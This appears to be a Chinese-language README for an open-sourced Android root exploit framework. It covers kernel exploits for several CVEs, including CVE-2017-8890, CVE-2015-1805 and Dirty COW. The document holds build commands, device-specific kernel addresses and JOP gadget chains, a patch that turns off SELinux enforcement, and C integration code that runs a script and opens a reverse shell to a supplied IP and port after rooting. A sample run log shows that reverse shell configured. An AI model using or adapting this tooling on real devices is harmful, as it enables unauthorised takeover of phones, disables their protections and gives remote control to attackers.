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androotzf 最近整理电脑时看到的吃灰代码, 早期研究 Android Root 时做的提权方案.

感激曾经一起学习和共事的伙伴们, 开源大部分功能为后来者提供一套学习素材.

Warning

请遵守GPL开源协议, 请遵守法律法规, 本项目仅供学习和交流, 请勿用于非法用途!

道路千万条, 安全第一条, 行车不规范, 亲人两行泪.

Android Root Zap Framework [100%]

  • [X] 通用的序列化root适配参数
  • [X] 非常容易集成, 只需要根据漏洞实现任意读写即可
  • [X] 通用内核提取patch方案, 任意读写后一个函数全搞定
  • [X] 内核保护机制绕过(PXN, SElinux)
  • [X] 部分厂商内核保护机制绕过(huawei, samsung, oppo, vivo)

Exploit(部分)

1001: CVE-2017-8890 v1版, 适配Nexus6P

1002: CVE-2017-8890 v2版, 适配华为P10

1003: CVE-2017-8890 兼容所有64位机型，如Nexus6p, 华为MT7, MT10, P10等

1004: CVE-2017-8890 针对32位机型，如Nexus5

1010: CVE-2017-9077 同CVE-2017-8890

1021: CVE-2015-1805 V1, 适配SM-A700L

1022: CVE-2015-1805 V2, 适配更多机型

1041: CVE-2015-3636 适配了nexus4等机型

1051: CVE-2016-5195 dirtycow漏洞, android 5.0以下机型

Build

需要保证主机上存在 make 和 ndk-build (版本过高可能存在兼容性问题, 建议小于25以下版本)

make build RS=CVE-2015-1805/1022

Integration

标志位

n=sn&k=[101=kfunc1;102=kfunc2;]&j=[index1=jop1;0x=0x0;index2=jop2;0x0=0x0;]&p[addr=value=len;]
  • n: 方案号
  • k: 内核函数 地址以及一些常用的 偏移量, 需要提前在 param.h 中声明, 包含在 [] 中，用 ; 分割, 结尾必须包含 ;
  • j: jop地址, 包含在 [] 中, 用 ; 分割, 结尾必须包含 ; , 每条jop以 0x0=0x0 结尾, 结尾必须包含 ; , 预留了5条jop
  • p: root后patch地址与内存修复, 主要针对selinux和需要修复的寄存器, 包含在 [] 中, 用 ; 分割, 结尾必须包含 ;
  • r: 可选参数, 反弹shell和脚本, 需要提前在 param.h 中声明, 包含在 [] 中, 用 ; 分割, 结尾必须包含 ;

每个参数标志位由 & 分割, 如：

n=sn&k=[101=kfunc1;102=kfunc2;]&j=[index1=jop1;0x=0x0;index2=jop2;0x0=0x0;]&p[addr=value=len;]&r=[901=ip;902=port;903=install.sh;]

适配参数示例

Nexus 6P 适配参数如下:

./rootz "n=1001&k=[101=0xffffffc001a044a0;102=0x48;104=0xffffffc001779fe0;105=0x70;201=0xffffffc00074c954;]&j=[0x180=0xaaaaaaaa;0x158=0xbbbbbbbb;0x2d0=0xffffffc00024c2c4;0x0=0x0;0x00=0xffffffc000afe07c;0x28=0xbbbbbbbb;0x48=0xffffffc0002ef958;0x90=0xdddddddd;0x10=0xffffffc000ce6000;0x8=0xffffffc000318610;0x0=0x0;]&p=[0xffffffc00193a1bc=0x0=0x4;]"

n=1001: 方案号1001

k=[101=0xffffffc001a044a0;102=0x48;104=0xffffffc001779fe0;105=0x70;201=0xffffffc00074c954;]

param.h中定义了

#define k_ptmx_fops "101"
#define k_ptmx_ioctl_offset "102"
#define k_init_task "104"
#define k_task_security_offset "105"

最终解析后会自动赋值. (r字段相同解析方式)

j=[0x180=0xaaaaaaaa;0x158=0xbbbbbbbb;0x2d0=0xffffffc00024c2c4;0x0=0x0;0x00=0xffffffc000afe07c;0x28=0xbbbbbbbb;0x48=0xffffffc0002ef958;0x90=0xdddddddd;0x10=0xffffffc000ce6000;0x8=0xffffffc000318610;0x0=0x0;]

以 0x0=0x0 分割，总共2条jop, 解析后对应的jop结构为

jop1:
{0x180, 0xaaaaaaaa}
{0x158, 0xbbbbbbbb}
{0x2d0, 0xffffffc00024c2c4}
{0x0, 0x0}
jop2:
{0x0, 0xffffffc000afe07c}
{0x28, 0xbbbbbbbb}
{0x48, 0xffffffc0002ef958}
{0x90, 0xdddddddd}
{0x10, 0xffffffc000ce6000}
{0x8, 0xffffffc000318610}
{0x0, 0x0}

p=[0xffffffc00193a1bc=0x0=0x4;]

总共一个patch的地址，地址为0xffffffc00193a1bc(selinux_enforcing), 值为0, 长度4个字节

解析成对应的patch结构为

p_patch:
{0xffffffc00193a1bc, 0x0, 0x4}
{0x0, 0x0, 0x0}

新增root方案集成

代码部分需要引入参数解析部分内容, 主要为 rootz_before 和 rootz_after 两个函数, 代码形似

int main(int argc, char *argv[]) {

  if(rootz_before(argc, argv)) {
    log_dump(LOG_ERR, "[-] rootz_before failed!\n");
    return -1;
  }

  // 提权操作
  exploit();

  if(rootz_after()) {
    log_dump(LOG_ERR, "[-] rootz_after failed!\n");
  }

  while(1);

  return 0;
}

引入的代码内容如下:

/* ------------------ root define begin ------------------- */
#include "rootz.h"
#include "log.h"

/* adp args */
static int adp_sn;
static unsigned long adp_init_task;
static unsigned long adp_task_security_offset;

static unsigned long adp_ptmx_fops;
static unsigned long adp_ptmx_ioctl_offset;
static unsigned long adp_patch_ptmx_ioctl_jop;

/* run script path */
static char adp_script_path[0xff] = { 0 };

/* reverse shell ip&port */
static char adp_rshell_ip[0x40] = { 0 };
static char adp_rshell_port[0x10] = { 0 };

/*
  初始化适配参数
*/
#include "dict.h"

extern dict_t *transl_param_dict;

static int get_adp_ulval(char *name, unsigned long *value) {
  char *var;

  if (!dict_get(transl_param_dict, name, (void **)&var)) {
    log_dump(LOG_ERR, "[-] get %s failed\n", name);
    return 0;
  }
  *value = strtoul(var, NULL, 16);
  log_dump(LOG_DEBUG, "%s = 0x%lx\n", name, *value);
  return 1;
}

static int get_adp_str(char *name, char *value, int len) {
  char *var;

  if (!dict_get(transl_param_dict, name, (void **)&var)) {
    log_dump(LOG_ERR, "[-] get %s failed\n", name);
    return 0;
  }
  strncpy(value, var, len);
  log_dump(LOG_DEBUG, "%s = %s, %d\n", name, value, strlen(value));
  return 1;
}

static int rootz_before(int argc, char *argv[]) {
  // 设置日志路径, 不设置则打印到控制台
  // set_logfile_path("/data/local/tmp/8890.log");
  // 适配参数初始化
  if (parse_args(argc, argv) < 0) {
    log_dump(LOG_ERR, "[-] parse_args failed\n");
    return -1;
  }

  char *var;

  // 0 failed

  /* root before */
  if (!dict_get(transl_param_dict, n_sn, (void **)&var)) {
    log_dump(LOG_ERR, "[-] get n_sn failed\n");
    return -1;
  }
  adp_sn = atoi(var);
  log_dump(LOG_DEBUG, "adp_sn = %d\n", adp_sn);

  if(!get_adp_ulval(k_init_task, &adp_init_task)) return -1;
  if(!get_adp_ulval(k_task_security_offset, &adp_task_security_offset)) return -1;
  if(!get_adp_ulval(k_ptmx_fops, &adp_ptmx_fops)) return -1;
  if(!get_adp_ulval(k_ptmx_ioctl_offset, &adp_ptmx_ioctl_offset)) return -1;
  if(!get_adp_ulval(j_patch_ptmx_ioctl_jop, &adp_patch_ptmx_ioctl_jop)) return -1;

  /* root after */
  get_adp_str(r_script_path, adp_script_path, sizeof(adp_script_path));
  get_adp_str(r_rshell_ip, adp_rshell_ip, sizeof(adp_rshell_ip));
  get_adp_str(r_rshell_port, adp_rshell_port, sizeof(adp_rshell_port));

#if 0
  printf(" adp_init_task = 0x%lx\n", adp_init_task);
  printf(" adp_task_security_offset = 0x%lx\n", adp_task_security_offset);
  printf(" adp_ptmx_fops = 0x%lx\n", adp_ptmx_fops);
  printf(" adp_ptmx_ioctl_offset = 0x%lx\n", adp_ptmx_ioctl_offset);
  printf(" adp_patch_ptmx_ioctl_jop = 0x%lx\n", adp_patch_ptmx_ioctl_jop);

#endif


  return 0;
}

/*
  提权过后的操作
*/

static int rootz_after() {
  char *var;

  if(strlen(adp_script_path)) {
    run_shell_commond("/system/bin/sh", adp_script_path);
  }

  if(strlen(adp_rshell_ip) && strlen(adp_rshell_port)) {
    log_dump(LOG_DEBUG, "rshell: ip = %s, port = %s\n", adp_rshell_ip, adp_rshell_port);
    rshell_simple(adp_rshell_ip, adp_rshell_port);
  }

  dict_destory(transl_param_dict);
  free(transl_param_dict);
  return 0;
}

/* ------------------ root define end ------------------- */

完整的参数解析流日志：

[*] /system/bin/sh -c "/data/local/tmp/rootz 'n=1001&k=[101=0xffffffc001a044a0;102=0x48;104=0xffffffc001779fe0;105=0x70;201=0xffffffc00074c954;]&j=[0x180=0xaaaaaaaa;0x158=0xbbbbbbbb;0x2d0=0xffffffc00024c2c4;0x0=0x0;0x00=0xffffffc000afe07c;0x28=0xbbbbbbbb;0x48=0xffffffc0002ef958;0x90=0xdddddddd;0x10=0xffffffc000ce6000;0x8=0xffffffc000318610;0x0=0x0;]&p=[0xffffffc00193a1bc=0x0=0x4;]&r=[901=192.168.0.105;902=4000;903=/data/local/tmp/install.sh;]'"
args: n=1001
key = n, value = 1001
args: k=[101=0xffffffc001a044a0;102=0x48;104=0xffffffc001779fe0;105=0x70;201=0xffffffc00074c954;]
key = k, value = [101=0xffffffc001a044a0;102=0x48;104=0xffffffc001779fe0;105=0x70;201=0xffffffc00074c954;]
args: j=[0x180=0xaaaaaaaa;0x158=0xbbbbbbbb;0x2d0=0xffffffc00024c2c4;0x0=0x0;0x00=0xffffffc000afe07c;0x28=0xbbbbbbbb;0x48=0xffffffc0002ef958;0x90=0xdddddddd;0x10=0xffffffc000ce6000;0x8=0xffffffc000318610;0x0=0x0;]
key = j, value = [0x180=0xaaaaaaaa;0x158=0xbbbbbbbb;0x2d0=0xffffffc00024c2c4;0x0=0x0;0x00=0xffffffc000afe07c;0x28=0xbbbbbbbb;0x48=0xffffffc0002ef958;0x90=0xdddddddd;0x10=0xffffffc000ce6000;0x8=0xffffffc000318610;0x0=0x0;]
jop num = 2
args: p=[0xffffffc00193a1bc=0x0=0x4;]
key = p, value = [0xffffffc00193a1bc=0x0=0x4;]
p_addr = 0xffffffc00193a1bc, p_value = 0x0, p_len = 0x4
args: r=[901=192.168.0.105;902=4000;903=/data/local/tmp/install.sh;]
key = r, value = [901=192.168.0.105;902=4000;903=/data/local/tmp/install.sh;]

transl_param_dict: 0x7104a02060
104 => 0xffffffc001779fe0
105 => 0x70
201 => 0xffffffc00074c954
n => 1001
901 => 192.168.0.105
902 => 4000
903 => /data/local/tmp/install.sh
101 => 0xffffffc001a044a0
102 => 0x48

j_jop:
jop1:
{0x180, 0xaaaaaaaa}
{0x158, 0xbbbbbbbb}
{0x2d0, 0xffffffc00024c2c4}
{0x0, 0x0}
jop2:
{0x0, 0xffffffc000afe07c}
{0x28, 0xbbbbbbbb}
{0x48, 0xffffffc0002ef958}
{0x90, 0xdddddddd}
{0x10, 0xffffffc000ce6000}
{0x8, 0xffffffc000318610}
{0x0, 0x0}
jop3:
{0x0, 0x0}
jop4:
{0x0, 0x0}
jop5:
{0x0, 0x0}

p_patch:
{0xffffffc00193a1bc, 0x0, 0x4}
{0x0, 0x0, 0x0}
adp_sn = 1001
104 = 0xffffffc001779fe0
105 = 0x70
101 = 0xffffffc001a044a0
102 = 0x48
201 = 0xffffffc00074c954
903 = /data/local/tmp/install.sh, 26
901 = 192.168.0.105, 13
902 = 4000, 4

References

cve-2017-8890, cve-2016-5195, cve-2015-3636, cve-2015-1805

About

Android Root Zap Framework, Lazy and Powerful :)

Topics

android zap root cve-2016-5195 cve-2017-8890 cve-2017-9077 cve-2015-1805 cve-2015-3636

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